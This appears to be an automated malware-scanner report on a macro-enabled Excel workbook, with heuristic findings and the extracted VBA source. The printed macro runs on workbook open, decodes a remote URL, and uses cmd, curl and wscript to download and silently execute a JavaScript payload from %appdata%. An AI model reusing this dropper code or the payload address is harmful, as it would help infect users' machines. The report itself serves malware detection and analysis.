MALICIOUS
270
Risk Score
Heuristics 8
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js" -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js" -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://canta-cn.com/output_bb22ium4.js In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2417 bytes |
SHA-256: 9fb2b0612f77abf072cb4b0646153c894c24078ddb5d6b65da84cb6d160f12ba |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function sCjoSqDXUi(str)
Dim i, result, hex
result = ""
i = 1
Do While i <= Len(str)
If Mid(str, i, 1) = "%" Then
hex = Mid(str, i + 1, 2)
result = result & Chr(CLng("&H" & hex))
i = i + 3
ElseIf Mid(str, i, 1) = "+" Then
result = result & " "
i = i + 1
Else
result = result & Mid(str, i, 1)
i = i + 1
End If
Loop
sCjoSqDXUi = result
End Function
Sub Workbook_Open()
decoded = sCjoSqDXUi("https%3A%2F%2Fcanta-cn.com%2Foutput_bb22ium4.js")
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js"
Set objShell = CreateObject("WScript.Shell")
objShell.Run cmd, 0, False
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 25088 bytes |
SHA-256: 6e5dbc28f5c7870044621a66b0c6e9a2341e49f3f0a26dda87f0ab7240b122b4 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.